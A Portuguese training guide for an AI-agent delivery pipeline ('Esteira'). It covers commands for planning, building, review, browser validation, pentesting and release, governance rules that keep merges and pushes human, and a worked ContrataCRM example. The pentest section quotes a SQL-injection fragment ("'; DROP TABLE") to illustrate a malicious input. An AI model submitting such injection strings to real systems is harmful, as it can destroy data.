Por que existe um caminho curto: forçar workstream completa para um typo é burocracia que ninguém segue — e processo que ninguém segue é processo morto. E por que ele se polícia sozinho: se a descrição vira 2+ stories, ou a lista de critérios explode, a skill PARA e recomenda migrar para /mks-blueprint (com resumo pronto para colar) — quick flow é para UMA story, e segunda story na mesma workstream rápida é proibida. Enriquecimento: links de bug-capture (ex.: jam.dev) puxam console logs/network/screenshots via MCP — com sua permissão, uma vez por serviço.
/mks-ticket <descrição do bug ou atividade>
Workstream rápida com uma story completa (spec + critérios + DU) — pronta para /mks-techplan → build → review.
FASE 2Build — implementação com plano e revisão (ciclo por story)

/mode plan | build | harden

Ao mover entre fases — a transição é EXPLÍCITA
Muda as regras que o agente segue (lê delivery/rules/<fase>.md). Em plan: Write/Edit bloqueados (só leitura e planejamento). Em build: implementação liberada com plano técnico obrigatório. Em harden: foco em validação e segurança.
Por que a troca é um comando SEU e não uma inferência do agente: fase é decisão de processo, não de conveniência. Se o agente decidisse sozinho "já posso editar", o planejamento perderia sua revisão exclusiva — erro de escopo no plan custa UE de estimativa; o mesmo erro no build custa dez vezes mais. A troca explícita garante que cada mudança de permissão passa por você.
/mode plan
/mode build
/mode harden
O agente confirma a mudança e passa a seguir as novas regras. Em plan mode, tentativas de editar código são bloqueadas pelo harness.

/mks-techplan

Fase 2, uma story está pronta para execução
O Tech Lead detalha UMA story num build-plan: o DELTA que a story adiciona sobre a arquitetura, tarefas em ordem com paths exatos sob delivery/repos/, shapes por nome (entidade = colunas/tipos; endpoint = método/path/auth) e checklist. Documento de INTENÇÃO — ≤80 linhas, zero código colado. Precondições duras: story precisa de spec funcional (senão aborta — build-plan órfão não aparece no board); repo configurado (senão aborta — nunca escreve na raiz do workspace).
Por que ANTES do build: o build SEM build-plan aborta por design — improvisar da spec funcional é construir sem planta. Por que o plano proíbe código: plano com código colado vira código digitado duas vezes. Por que depois da arquitetura: o plano herda as decisões estruturais — re-decidir stack por story é o frankenstein.
/mks-techplan <workstream> <story>
build-plans/story-NNNN-*-build-plan.md com checklist — a story sai de "planejada" no board e o próximo passo apontado é o /mks-build.

/mks-build

Fase 2, com o build-plan aprovado
Implementa o plano: branch workstream/<ws>/<story> por repo (ou worktree isolado), checklist do plano como estado durável — cada item [x] no disco sobrevive a compactação/restart, a retoma não re-descobre nada. Lê o CLAUDE.md de cada repo antes de tocar nele, roda typecheck/testes, e grava o custo REAL no calibration.
Por que separado do techplan: um escreve intenção, o outro executa — juntos, o agente "implementa" sem plano e você descobre o sistema errado tarde demais. Por que o build-plan é precondição DURA: é o que impede o agente de improvisar da spec funcional (regressão real: 19 arquivos criados, zero planos, zero rastreio). O plano é o freio; o build é o motor.
/mks-build <workstream> <story> [phase-N | task-N]
Branch com commits atômicos, testes verdes, checklist 100% [x]. O agente NUNCA reporta "done" sem build passar — e o custo real medido vai para a calibração.

/mks-review

Fase 2, após o build — antes de validar
4 subagentes paralelos (segurança, performance, qualidade, padrões do projeto) revisam o diff — e Critical e High são auto-corrigidos por default: cada fix validado por build+testes e commitado atomicamente. Idempotente por diff-hash (mesmo diff = relatório cacheado); runs seguintes são incrementais; sem profile do repo, invoca o /mks-review-profile e espera. Treinamento completo na seção 04.
Por que ANTES do validate: o review lê o CÓDIGO — acha a injeção SQL, o N+1 — coisas que usar o sistema não revela. E com auto-fix, os graves chegam RESOLVIDOS (com SHA do commit), não como lista de afazeres.
/mks-review [--force] [--no-auto-fix]
[--auto-fix-min=<critical|high>] [--base=<branch>]
[--story=<slug>] [--repo=<name>]
Relatório por branch (reviews/<branch>/CURRENT.md) com veredito: REJECT se Critical sem correção; APPROVE WITH CHANGES se High ficou documentado. Lessons.md do repo aprende a cada run.

/mks-review-profile

O review está barulhento (falsos positivos) ou cego (não pega o que importa)
Gera/atualiza o perfil de review específico do repo — auto-deteta stack/runner/testes pelo scan e entrevista só o que scan não responde (hot files, modos de falha do projeto, overrides de severidade). O /mks-review o invoca automaticamente quando o perfil falta.
Por que este comando existe: "o que é finding" depende do repo — style flag num prototype é ruído, num sistema médico é crítico. Sem perfil, o review aplica a mesma régua em tudo: ou engasga com falso positivo (e você para de ler) ou passa reto no que importa.
/mks-review-profile [--refresh | --update=<section> | --show] [--repo=<name>]
profile.md em delivery/rules/code-review/<repo>/.
FASE 3Harden — validar, atacar, versionar

/mks-validate

Fase 3 (Harden) — o build passou no review
Validação agêntica: duas tools de browser (MCP Playwright + agent-browser/Dogfood) executam os critérios de aceite como um usuário real. Critérios classificados api/ui/manual, autenticação uma vez por run, fix loop de até 3 tentativas por falha, bugs numerados (bug-NNN) para o que não conserta. Treinamento completo na seção 05.
Por que o review NÃO basta: o review lê código; o validate USA o sistema — browser real, critério a critério, screenshot como prova. Só ele pode virar [x] no critério, e só quando TODAS as tools primárias passam.
/mks-validate <workstream> <story>
/mks-validate <workstream> <story> --tool=<name>
/mks-validate <workstream> --track <N>
Critério só ganha [x] quando TODAS as tools primárias passam. Falhas viram bug-NNN com severidade e evidência. Modo track revalida até zerar bloqueantes — e a última run re-testa TUDO para pegar regressão.

/mks-pentest

Fase 3, antes do release — o sistema está validado
Pentest white-box autônomo com Shannon: procura OWASP Top 10, SQL injection, XSS, auth bypass, IDOR, exposição de dados. Classifica achados por severidade. Treinamento completo na seção 05.
Por que DEPOIS do validate: o alvo certo é sistema funcionando. E por que existe: critério de aceite testa fluxo de USUÁRIO — nenhum critério diz "inserir '; DROP TABLE no campo nome". Caminho malicioso é trabalho do pentest.
/mks-pentest [<workstream> [<track>]]
Relatório de segurança em pentest-audits/runs/. Achados críticos viram stories via /mks-ticket — com dono e prazo.

/mks-release

Fase 3, tudo verde (build + review + validate + pentest) e merge humano feito (P8)
Protocolo de versionamento: pré-flight (árvore limpa, versão nova) → bump no delivery.json (+ template.version em template mode) → README → commit + push → changelog funcional dos commits → git tag anotado → push da tag → marcador .delivery-released.json via tool RecordRelease (o board marca a workstream como released). Treinamento completo na seção 05.
Por que POR ÚLTIMO: a tag eterniza um commit — ela deve nascer só depois que TODOS os portões passaram por ele. A exigência de árvore limpa força, na prática, o merge humano (P8) a já ter acontecido.
/mks-release <new-version>   (ex.: /mks-release 0.2.0)
Tag v0.2.0 anotada com o changelog funcional no remote — git show v0.2.0 exibe o changelog para sempre — e o board marcando a workstream como released (marcador validado pela tool). Aborta se a árvore estiver suja ou a versão for igual à atual.
CONTÍNUOMedição, calibração e utilitários — a Esteira aprendendo e se diagnosticando

/mks-meter

Após concluir uma story — alimenta a calibração
Lê a trajectory da sessão e mede tokens, custo e tempo gastos por story. O subcomando record [id] grava o custo medido como actual no ledger — e aplica o multi-stack gate: story taggeada com múltiplos layers (api, web) só fecha se tocou arquivos em CADA layer, senão um layer seria pulado em silêncio e a dashboard nunca mostraria.
Por quê LOGO após concluir: o dado vive na trajetória da sessão — esperar é deixar esfriar. É este número (custo REAL) que fecha o par estimado vs. real na calibração; sem ele, a âncora nunca aprende e o erro de preço se repete a cada entrega.
/mks-meter record [<id>]   (grava o actual)
/mks-meter   (relatório)
Custo exato em tokens → US$ (a mesma tabela do /cost), gravado como actual no calibration.json; sem o pino da story ativa, record reclama.

/mks-calibration

Periodicamente — semanal, ou após um marco
Compara UE estimadas vs. custo real medido por story. Mostra o veredito por repo (cold/hot/calibrated/no-data) e o efeito na âncora ajustada.
Por que a Esteira faz questão disso: estimativa sem calibração é opinião com histórico — o mesmo erro de preço se repete para sempre disfarçado de "imprevisto". A calibração transforma desvio em DADO e o ajuste da âncora em decisão REGISTRADA (nunca silenciosa).
/mks-calibration
Relatório de calibração por repo com veredito, fator e âncora ajustada.

/mks-story

Antes e durante o build — para atribuir o consumo de tokens à story certa
Define a story ativa da sessão: a partir daí, o consumo de tokens/custo medido pelo meter é atribuído a ELA (é o pino de medição, não um criador de story). Sem argumento mostra qual story está ativa; off desliga a atribuição.
Por que este comando existe: a calibração só fecha o loop se o custo real souber a que story pertence. Sem apontar a story ativa, o esforço medido fica órfão — e estimado vs. real nunca se encontram. É uma linha antes do build, e o dado vira actual no calibration.json.
/mks-story <id>   (apontar)
/mks-story   (ver a ativa)
/mks-story off   (desligar)
"✓ medindo story <id>" — o próximo /mks-meter grava o consumo sob ela.

/mks-doctor

Algo não funciona (comando não acha workstream, regras não carregam)
Verifica consistência: delivery.json válido, regras existem, workstream ativa, repos registrados, paths corretos.
Por que diagnosticar antes de mexer: quando um comando "não acha" algo que você SABE que existe, as causas típicas são estruturais (config inválida, path torto, repo não registrado) — e cada uma tem conserto diferente. Chutar conserto sem diagnóstico é virar o crime scene. O doctor é o primeiro passo de QUALQUER bug da Esteira.
/mks-doctor
Diagnóstico com problemas encontrados (erro/warn/info) e sugestões de correção.

/mks-darkfactory

Workstream madura (calibrada, boilerplate conhecido)
Executa blueprint → breakdown → techplan → build → review → validate → release sem parar para perguntar. Modo totalmente autônomo.
Por que só com workstream madura: autonomia total é segura quando as decisões repetem padrões já calibrados. Em território novo, cada gate humano existe porque o erro dali é caro — pular TODOS os gates de uma vez multiplica o risco em vez de somar. Comece com esteira guiada; afroube quando a calibração provar que acerta.
/mks-darkfactory <workstream>
A workstream inteira executa sozinha. Use com critério — o agente toma TODAS as decisões.

/mks-design

Precisa criar/iterar uma tela visual
Abre o Design Canvas — o agente desenha o HTML/React e você vê o resultado no browser em tempo real.
Por que iterar no canvas e não no build: design converge por tentativa — ver, ajustar, ver de novo. Fazer isso via build (branch, typecheck, deploy) paga imposto de engenharia em cada ajuste de cor. O canvas isola a conversa visual; quando a tela aprova, aí sim vira story com spec.
/mks-design
Tela renderizada no browser. Você itera conversando.

/mks-sync

O MakeStudio atualizou e as regras/skills mudaram
Atualiza delivery/rules/ e skills para a versão atual, preservando customizações do projeto.
Por que preservar customizações importa: as regras do projeto carregam decisões duras conquistadas em produção (pesos de DU ajustados, perfis de review, overlays de fase). Um update que as sobrescrevesse apagaria memória operacional — o sync atualiza o osso da Esteira sem amputar o que o projeto adicionou.
/mks-sync [branch] [--force]
Regras atualizadas. Diff mostra o que mudou.
11 · montagem de um sistema

ContrataCRM — o roteiro de execução, com o que aparece em cada passo

Este é o roteiro do exemplo, montado sobre o que o sistema realmente imprime e produz (handlers, skills e artefatos verificados). Cada passo mostra: o comando exato, o que o agente faz, o que VOCÊ decide, e o que aparece — o output literal ou o artefato no disco. Seguindo-o, você sabe reconhecer sucesso e desvio em cada etapa. A ordem canônica das estações, com o porquê de cada posição, está no mapa da seção 10 — aqui a mesma jornada é vista por dentro, com os números do ContrataCRM (156 UE estimadas · R$ 26.770 aprovados · 163 UE medidas).

FASE 0 — custear (4 comandos + 1 gate)

1 · /mks-init

O agente entrevista (nome, repos, linguagem), aplica defaults em silêncio (âncora 28, R$ 130, buffer 10%, margem 20%) e faz o scaffold. Você registra os repos do saas-starter (backend, frontend) por symlink local.

O que aparece:
delivery/
├── delivery.json        ← { estimation: {...}, pricing: {...}, repositories: [backend, frontend] }
├── rules/               ← plan.md · build.md · harden.md
├── workstreams/{active,completed,archived}/
└── repos/{backend→, frontend→}   ← symlinks para o boilerplate

2 · /mks-explore "sistema de gestão de contratos recorrentes"

O Consultor entrevista em rodadas, lê o código dos repos (o harness obriga tool use), e grava as conclusões. Você responde sobre problema, bordas e riscos.

O que aparece: conversa estruturada → workstreams/20260920-system-contrata/brainstorm.md com problema, escopo, abordagens consideradas e questões abertas.

3 · /mks-interview contrata

Entrevista de classificação. Você confirma os níveis com justificativa: R2 (cobrança, conciliável), Governance Medium (trilha de auditoria), marcos com incerteza Low/Medium/Low.

O que aparece: tabela de contexto + marcos; cada entregável sai classificado (Size/Complexity/Urgency) — a matéria-prima do quote.

4 · /mks-quote

O handler soma o DU das workstreams ativas e calcula. Sem entrevista nova — leitura pura do disco.

O que aparece (formato do handler):
  Proposta  rate R$ 130,00 · margem 20%
  contrata (system)
     156 DU  →  R$ 26.770
      T1 fundacao        64 DU
      T2 contratos       76 DU
      T3 relatorios      16 DU
  Total: 156 DU → R$ 26.770  (subtotal R$ 22.308 + margem 20%)

5 · GATE — o cliente aprova

Nada de comando: você apresenta a proposta auditável e registra a aprovação. Sem ela, a Esteira não abre — mudança de escopo depois daqui = nova Fase 0 do delta.

FASE 1 — plan (4 comandos)

6 · /mks-blueprint contrata

O PO lê o brainstorm (não re-pergunta), entrevista o que falta, valida via ExitPlanMode + gate clicável ("Sim, escopo confirmado — pode escrever"), e escreve.

O que aparece: overview.md (como funciona, métricas de sucesso, 3 tracks, future ideas), presentation.html (template copiado, placeholders preenchidos), estimate.md com todos os DU _TBD_. A resposta termina apontando: "rode /mks-breakdown all".

7 · /mks-breakdown contrata all

Quebra as 3 tracks em stories. Size/Complexity o agente propõe; R/G/U/Urgency aparecem em tabela e ESPERAM sua confirmação.

O que aparece: 11 arquivos story-NNNN-*.md + *-acceptance-criteria.md por track; o DU real gravado no calibration.json (deixa de ser _TBD_). O board passa a listar cada story com seu DU.

8 · /mks-architecture contrata

O Arquiteto confere que o breakdown está completo (senão PARA), lê os repos e decide a fundação uma vez.

O que aparece: UM arquivo architecture.md — visão estrutural, ADRs numerados (TypeORM como ORM · herda JWT 15m/refresh 7d httpOnly e organizations do boilerplate · contratos como entidade própria), riscos estruturais, rodapé de auditoria. Assinado [Arquiteto].

9 · /mks-board

O que aparece (formato do handler):
## Plan Status
### Active (1 workstream)
| Workstream     | Brainstorm | Tracks        | Tasks Done | Presentation |
|----------------|------------|---------------|------------|--------------|
| 20260920-system-contrata | Yes | 3/3 documented | 0/11 | Yes |

FASE 2 — build (o ciclo por story, 11×)

10 · /mode build + /mks-story contrata/track-1/story-0001

O que aparece: "Modo build ativo" + ✓ medindo story contrata/track-1/story-0001 — todo consumo da sessão passa a ser atribuído à story 0001.

11 · /mks-techplan contrata 0001

O Tech Lead lê architecture + spec + repos, entrevista decisões técnicas e escreve UM arquivo (≤80 linhas: tasks com paths, shapes, checklist).

O que aparece: track-1/build-plans/story-0001-cadastro-clientes-build-plan.md — ex.: task "criar entity Customer (id, cnpj, nome, email) em backend/src/customers/", shape do endpoint POST /customers — auth: bearer, checklist - [ ] por task. Termina apontando o /mks-build.

12 · /mks-build contrata 0001

Pergunta a base branch por repo, cria workstream/contrata/story-0001, implementa item a item — build + testes ANTES de cada commit — marca [x], commita; no último item fecha os critérios de aceite contra o código (sem carimbo) e cria o PR draft.

O que aparece: progresso por item ("task 2/4 ✓ commit a3f9c21"); no fim: checklist 100% [x], acceptance-criteria marcado, PR draft por repo. O spec-gate do harness mostra ✓/✗ dos testes irmãos a cada lote.

13 · /mks-review

4 lentes no diff; Critical/High auto-corrigidos com build+testes e commit atômico; sem profile, o personalizador RODA primeiro.

O que aparece: reviews/story-0001/CURRENT.md com veredito — o esperado no exemplo: APPROVE WITH CHANGES, findings Medium "validar formato de CNPJ no DTO" documentados, SHA do fix do único High. Rodar de novo sem diff novo: "cached — verdict APPROVE WITH CHANGES".

14 · /mks-meter record · repete 11–14 por story

O que aparece: "actual gravado: story-0001 · custo R$ X · delta vs 28 DU estimados: +Y%" — o multi-stack gate exige arquivos tocados em cada layer taggeado antes de fechar. O ciclo techplan→build→review→record repete até a track fechar.

FASE 3 — harden (3 comandos + merge)

15 · /mode harden + /mks-validate contrata --track 1

Pré-flight (health do backend/frontend via .env), classificação api/ui/manual com sua confirmação, login 1×, e o browser testa critério a critério com fix loop de 3.

O que aparece: validation-reports/track-1/track-summary.md + por story: relatório com ✓/✗ por critério e screenshots em evidence/. O esperado no exemplo: 100% [x] após o fix loop; qualquer bug restante vira bugs/bug-001-*.md com severidade.

16 · /mks-pentest contrata track-2

Pré-flight das 8 verificações → painel com custo (~US$ 50) e duração (~1–1,5h) → seu "yes" explícito → Shannon white-box lendo delivery/repos/.

O que aparece: stdout do Shannon em stream; no fim, pentest-audits/runs/20260920-0001/ com workstream.txt (rastreabilidade) + relatório verbatim. Review é manual — o agente aponta o diretório e PARA.

17 · merge humano + /mks-release 1.0.0

Você revisa os PRs e faz o merge (P8). Com a árvore limpa, o DevOps roda o protocolo de 10 passos.

O que aparece: commit chore: bump version to v1.0.0 → tag anotada com o changelog funcional → push → tool RecordRelease valida tag+versão e grava .delivery-released.json → o board marca a workstream como released. git show v1.0.0 exibe o changelog para sempre.

O resultado final — os entregáveis verificáveis do teste

No disco ao final do roteiro: workstream 20260920-system-contrata com 3 tracks · 11 stories com critérios [x] · 11 build-plans 100% [x] · architecture.md com ADRs · branches mergeadas e deletadas · validation-reports com screenshots por critério · 1 pentest run arquivada · tag v1.0.0 com changelog funcional · calibration.json com 11 actuals. Números esperados: 156 UE estimadas · R$ 26.770 aprovados · 163 UE medidas (veredito calibrated, +4,5%) · zero push sem gate · zero commit na main.
12 · por que a Esteira existe

A motivação — cada fase resolve um problema real

Antes de aprender os comandos, entenda por que cada peça existe. Uma ferramenta sem motivação é burocracia; com motivação, é processo.

Fase 0 existe porque preço chuteado quebra a confiança

"Acho que dá umas 2 semanas" — e no dia 15 você está explicando por que não está pronto. A Fase 0 transforma preço em consequência de escopo classificado: o número tem pai, e o cliente pode auditar a linhagem.

Plan existe porque escopo elástico devora a margem

Sem contrato funcional, todo "só mais uma coisinha" entra grátis — e sai do seu bolso. Overview, critérios e DU transformam pedidos extras em nova Fase 0, com preço próprio.

Build existe porque código sem plano é descoberta cara

O agente que implementa direto da spec funcional descobre o sistema no meio do código — o lugar mais caro de descobrir. Techplan primeiro, código depois: 20–40% de retrabalho a menos.

Harden existe porque "funciona na minha máquina" não é entrega

Compilar não é funcionar; funcionar não é seguro. Validate prova o primeiro com evidência visual; pentest prova o segundo tentando quebrar.

Calibração existe porque erro não corrigido se repete

Estimativa sistematicamente 30% abaixo não é azar — é âncora errada. Medir, comparar, ajustar: a próxima estimativa nasce da realidade, não da esperança.

Governança existe porque o repo é território do cliente

Um push indevido ou um reset --hard custa mais confiança que qualquer bug. P1–P8 aplicadas em código: o agente não pode, em vez de não dever.

13 · regras de governança detalhadas

P1–P8 — cada regra com motivação e consequência

Estas regras existem porque alguém já pagou o preço de ignorá-las. Cada uma é aplicada em código pelo harness — o agente não pode "esquecer".

P1 — Nenhum commit direto na main
Toda implementação vive em branch própria (story/<id>-<slug>). O merge é sempre um gesto humano consciente (PR review). Sem isto: um agente confundido sobrescreve a main de produção num sábado à noite.
P2 — Commits atômicos por story
Um commit = uma unidade lógica de trabalho da story. Sem isto: o histórico vira uma sopa onde é impossível reverter uma coisa sem quebrar outra.
P3 — Push só com permissão explícita
O agente NUNCA faz push sem você mandar. Sem isto: código incompleto vai para o remoto e alguém pode puxar.
P4 — Nenhuma implementação sem build-plan
O agente precisa de um plano técnico aprovado antes de editar código. Sem isto: descoberta cara no meio da implementação, retrabalho de 20-40%.
P5 — "Concluído" exige evidência de ferramenta
O harness verifica que os edits estão no disco (git diff), que o build passou, e que os testes rodaram. Sem isto: o agente reporta "pronto" e o usuário descobre no deploy que nada foi escrito.
P6 — Deploy é sempre verificado
Após o deploy, o harness confirma que os assets chegaram no servidor (timestamp/file check). Sem isto: "pronto localmente" é vendido como "pronto" e o usuário testa versão antiga.
P7 — Escopo de story não muda sem registro
Se o agente descobre que precisa fazer algo além do que a story pede, isso vira uma nova story ou um update documentado. Sem isto: scope creep silencioso corrói a estimativa.
P8 — Merge é sempre humano
A Esteira prepara tudo — branch, commits, PR draft — e para. O merge é gesto consciente de quem revisa. Sem isto: o agente faz merge de código que ninguém leu.
14 · papéis e responsabilidades

Quem faz o quê na Esteira

A Esteira não substitui pessoas — ela amplifica. Cada papel tem responsabilidade clara e o agente é a ferramenta, não o dono.

O Decisor (você)

Aprove o preço, revise o merge, defina prioridades. Toda decisão comercial e todo merge é seu.

  • Aprova ou rejeita o preço da Fase 0
  • Revisa e aprova build-plans
  • Faz o merge (P8 — sempre humano)
  • Define quando entrar em Harden

O Agente (MakeStudio)

Executa o trabalho técnico seguindo as regras da fase ativa. É a ferramenta que nunca se cansa.

  • Explora código e boilerplates
  • Escreve build-plans seguindo a arquitetura
  • Implementa código com typecheck + testes
  • Revisa com 4 lentes paralelas
  • Valida critérios com browser real

O Auditor (o harness)

Cada "pronto" é verificado deterministicamente. O juiz que não aceita "confia em mim".

  • Spec-gate: roda testes irmãos após cada edit
  • Shadow-audit: diff do turno vs pedido
  • Danger-gate: score de risco antes de Bash
  • Rollback: turnos que falham são revertidos

O Calibrador (o tempo)

A cada entrega, a medição real corrige a estimativa. A Esteira fica mais precisa com o uso.

  • Mede tokens/custo/tempo por story
  • Compara estimado vs realizado
  • Ajusta âncora quando desvio é sistemático
  • Registra todo ajuste (nunca silencioso)

O especialista por trás de cada comando

Cada skill da Esteira opera como um especialista com personalidade própria — não um chat genérico. A voz é parte do design: ela molda COMO o agente pensa e responde naquele comando. E ela se identifica: toda resposta vem assinada com o papel (ex.: [Arquiteto]) — se a assinatura não bate com o comando, algo saiu do trilho.

ComandoEspecialistaComo ele pensa (da própria skill)
/mks-init · /mks-exploreConsultor"Consultative and curious. Listen first, propose later" — decodifica o problema real antes de falar em escopo ou preço
/mks-ticketAnalista de Negócio"Methodical. Ask precise questions. Always explore exceptions and edge cases" — caça o edge case antes dele virar bug
/mks-blueprintProduct Owner"Value-driven. Prefer shipping 80% fast over 100% late" — fala em valor e métricas de adoção, não em tecnologia
/mks-architectureArquiteto"Strategic. Tie every decision to its long-term consequences. Name trade-offs explicitly" — decide no nível do SISTEMA, nunca da story
/mks-techplan · /mks-boardTech Lead"Objective. Organise in checklists and dependencies. Anticipate blockers and technical risks" — transforma escopo em sequência executável
/mks-buildEquipe de Desenvolvimento"Objective and technical. Report what was done and what is left. Cite files, branches, PRs" — reporta feito e faltante, com path
/mks-validateQA"Constructive skeptic. Hunt for uncovered scenarios" — cético profissional: procura o cenário que ninguém cobriu
/mks-releaseDevOps / Release"Cautious. Always mention rollback and observability. Think about 'what happens if this fails at 3am'" — o pessimista de plantão, de propósito
Por que as vozes existem: um mesmo agente pede coisas diferentes de você dependendo da fase — o PO pergunta "o que o cliente ganha?", o Arquiteto pergunta "que trade-off aceitamos?", o QA pergunta "como isso quebra?". A voz força a perspectiva CERTA no momento certo, e a assinatura te diz instantaneamente QUEM está falando. Regra das skills: nenhuma assina como outro papel dentro da própria skill.

Artifacts produzidos em cada fase

FaseArtifactOnde viveQuem consome
Fase 0Documento de escopo + propostadelivery/workstreams/<ws>/estimate.mdCliente (aprova), breakdown (herda entregáveis)
Planoverview.md · architecture.md · stories com critériosworkstreams/<ws>/Techplan, validate (critérios), board
Buildbuild-plans + código em branchtrack-N/build-plans/ + delivery/repos/Review, merge humano
Hardenrelatórios de validação + bugs + runs de pentestvalidation-reports/ · pentest-audits/runs/Cliente (aprova), release (gate)
Releasetag anotada com changeloggit (remote)Time inteiro — git show v<version>
Contínuacalibration.json (ledger)delivery/Motor (âncora ajustada), /mks-quote
15 · erros comuns e como evitar

Armadilhas que todo iniciante cai — e como a Esteira protege

Cada erro abaixo é real, já aconteceu, e tem uma proteção estrutural na Esteira. Conhecer as armadilhas é metade da certificação.

Erro 1: "O agente disse que terminou, mas nada foi escrito"
Por que acontece: o modelo alucina conclusão — reporta com confiança o que não fez.
Como a Esteira protege: P5: cada lote de edição é verificado no disco (git diff/grep). Edit anunciado que não está lá bloqueia o turno.
Erro 2: "O preço estourou e ninguém sabia por quê"
Por que acontece: estimativa sem classificação nem calibração — número sem linhagem.
Como a Esteira protege: Fase 0 com 6 fatores + calibração contínua com veredito por repo.
Erro 3: "Código quebrado foi para produção"
Por que acontece: pular review/validate sob pressão de prazo.
Como a Esteira protege: Harden é fase separada com gate: 100% critérios + zero críticos + merge humano.
Erro 4: "O agente inventou um resultado de teste"
Por que acontece: sem evidência de ferramenta, "passou" é apenas prosa.
Como a Esteira protege: spec-gate roda os testes de verdade; validate exige screenshot por critério.
Erro 5: "Mudei de fase e o agente continuou editando"
Por que acontece: sem modo explícito, as regras são ambíguas.
Como a Esteira protege: /mode troca as regras em código — plan mode bloqueia Write/Edit no harness.
Erro 6: "Commit na main de produção"
Por que acontece: caminho curto na pressa.
Como a Esteira protege: P1: o plugin de git bloqueia commit fora de branch de story.
Erro 7: "A estimativa nunca melhora"
Por que acontece: ninguém mede o custo real por story.
Como a Esteira protege: /mks-story aponta → /mks-meter grava → /mks-calibration ajusta a âncora por repo.
Erro 8: "Vulnerabilidade descoberta em produção"
Por que acontece: critérios de aceite testam fluxo de usuário, não vetor de ataque.
Como a Esteira protege: pentest white-box obrigatório antes do release — zero críticos é gate.
15b · glossário

Vocabulário formal da Esteira

Termos que você precisa dominar para operar com confiança.

Unidade de Entrega (UE/DU) — Moeda abstrata que mede escopo de resultado. Uma tarefa mediana = 28 UE (âncora). Convertida em R$ via ratePerDU.
Âncora — Número de UE típico de uma tarefa bem-fatida (28). Ponto de partida de toda estimativa; ajustada pela calibração.
Buffer — Percentual adicionado à soma de UEs para cobrir incerteza (default 10%). Explícito e auditável.
Margem — Percentual aplicado por último sobre o custo (default 20%). O lucro.
Workstream — Uma entrega completa: do overview ao release. Vive em delivery/workstreams/active/.
Track (trilha) — Agrupamento de stories dentro de uma workstream. Ex: "Fundação", "Contratos", "Relatórios".
Story (tarefa) — Unidade executável com critérios de aceite verificáveis, estimativa em UE e build-plan.
Critério de aceite — Condição objetiva e verificável que define "pronto". É o que o /mks-validate testa com browser.
Build-plan (plano técnico) — Documento que mapeia arquivos a tocar, ordem e shapes. Obrigatório antes do /mks-build.
Calibração — Comparar UE estimadas vs custo real medido. Ajusta a âncora para melhorar a próxima estimativa.
Boilerplate — Base técnica já pronta (auth, multi-tenant, infra) que o agente reutiliza. Reduz UE estimadas.
Spec-gate — Harness que roda os testes irmãos dos arquivos editados no fim de cada turno. Vermelho = auto-correção ou rollback.
Portão de qualidade — Checkpoint obrigatório entre fases. Ex: Build não avança para Harden sem review + validate.
Workspace — O repositório da análise: a pasta onde a Esteira vive (delivery/, delivery.json, workstreams). Control plane — processo, nunca código de aplicação.
delivery/repos/ — Onde o código-fonte real vive: cada repo registrado no init, como clone (git URL) ou symlink (path local). Todo build acontece aqui dentro.
Worktree — Cópia de trabalho isolada de um repo (delivery/repos/.worktrees/), usada quando implement.useWorktree está ativo.
Ledger (calibration.json) — O livro-caixa da Esteira: uma entrada por story com fatores, escopo contado, DU estimado, custo real e o footprint do diff.
Actual — O custo real medido de uma story (pelo meter), gravado no ledger. Fecha o par estimado vs. real.
Footprint — O diff objetivo entregue por uma story (arquivos, linhas +/−), gravado no build. Segundo sinal de calibração além do custo.
Veredito de calibração — cold (custou >5% acima do estimado), hot (>5% abaixo), calibrated (faixa de 5%), no-data (nada medido). Calculado por repositório.
Fator de calibração — Média actual/estimated de um repo. Multiplica a âncora para corrigir as estimativas seguintes daquele repo.
Spike — Tarefa de investigação de escopo fechado (~âncora × 0,5) cujo entregável é CONHECIMENTO, não código. Como a Esteira resolve incerteza alta.
Fix loop — Ciclo de correção do /mks-validate: lê evidência → lê código → fix mínimo → build → re-testa. Máximo 3 tentativas; esgotou, delega (bug-NNN).
Bug-NNN — Registro estruturado de falha delegada ao humano, numerado monotonicamente POR TRACK, com severidade e evidência.
Story ativa — A story apontada por /mks-story <id>, à qual o meter atribui o consumo da sessão. Sem ela, o custo medido fica órfão.
Quick flow (/mks-ticket) — Fluxo leve para bug/atividade de UMA story: workstream mínima sem overview/presentation/brainstorm. Escopo cresceu? Migra para /mks-blueprint.
Changelog funcional — Resumo de versão para o CLIENTE: commits técnicos agrupados, linguagem de usuário, deduplicada. Vive na mensagem da git tag anotada.
Marcador de release (.delivery-released.json) — Arquivo na workstream que o board lê para o estágio release. Gravado SÓ pela tool RecordRelease, que valida tag e versão contra o disco antes — reabrir a entrega o remove.
ADR — Architecture Decision Record: decisão numerada com contexto, opções, escolha e trade-offs. O formato do architecture.md.
White-box — Auditoria com acesso ao código-fonte (o pentest lê delivery/repos/ antes de atacar). Oposto de black-box.
15c · verificação de conhecimento

Teste seu entendimento

Se você responde estas 8 perguntas com confiança, você domina a Esteira.

1. Por que a arquitetura vem DEPOIS do breakdown e não antes?
respostaPorque arquitetura se decide contra o escopo COMPLETO — a skill para se o breakdown está incompleto. Decidir antes é decidir duas vezes: a story que chegar depois invalida a decisão.
2. O que acontece se o /mks-build for invocado sem build-plan?
respostaAborta por precondição dura — nunca improvisa da spec funcional. É a proteção contra implementar sem planta (a regressão dos 19 arquivos sem rastreio).
3. Quando um critério de aceite ganha [x]?
respostaSó quando TODAS as tools de peso primary passam naquele critério — e o texto do critério nunca é alterado, só flipado.
4. O que o veredito "cold" significa e qual o efeito?
respostaFator > 1,05: o trabalho custou mais que o estimado (na média do repo). A âncora ajustada sobe — estimativas seguintes daquele repo nascem maiores.
5. Por que o release exige a árvore de trabalho limpa?
respostaA tag eterniza um commit exato. Trabalho não-commitado significa que o código validado no Harden pode diferir do que a tag congela — e na prática força o merge humano (P8) a já ter acontecido.
6. Qual a diferença entre /mks-ticket e /mks-story?
resposta/mks-ticket CRIA uma workstream rápida com uma story (bug/atividade pontual). /mks-story é o pino de medição: aponta a story ativa para o meter atribuir o consumo.
7. Por que o workspace nunca contém código de aplicação na raiz?
respostaO workspace é control plane (processo versionado); código vive em delivery/repos/. O estado híbrido é o que faz o build improvisar caminhos e escrever no lugar errado — o init recusa instalar em repo de código por isso.
8. O que o shadow-audit faz e qual regra ele aplica?
respostaCompara o diff do turno contra o que foi pedido — aplicando P7: escopo de story não muda sem registro. Mudança além do escopo vira finding com evidência.

Níveis de domínio

Nível 1
Operador

Roda a jornada guiada: init → explore → interview → quote → blueprint → breakdown → techplan → build → review. Sabe responder o que cada comando produz.

Nível 2
Guardião

Domina os gates: sabe quando NÃO avançar, lê findings de review/validate/pentest e decide severidade, faz o merge consciente (P8).

Nível 3
Estimador

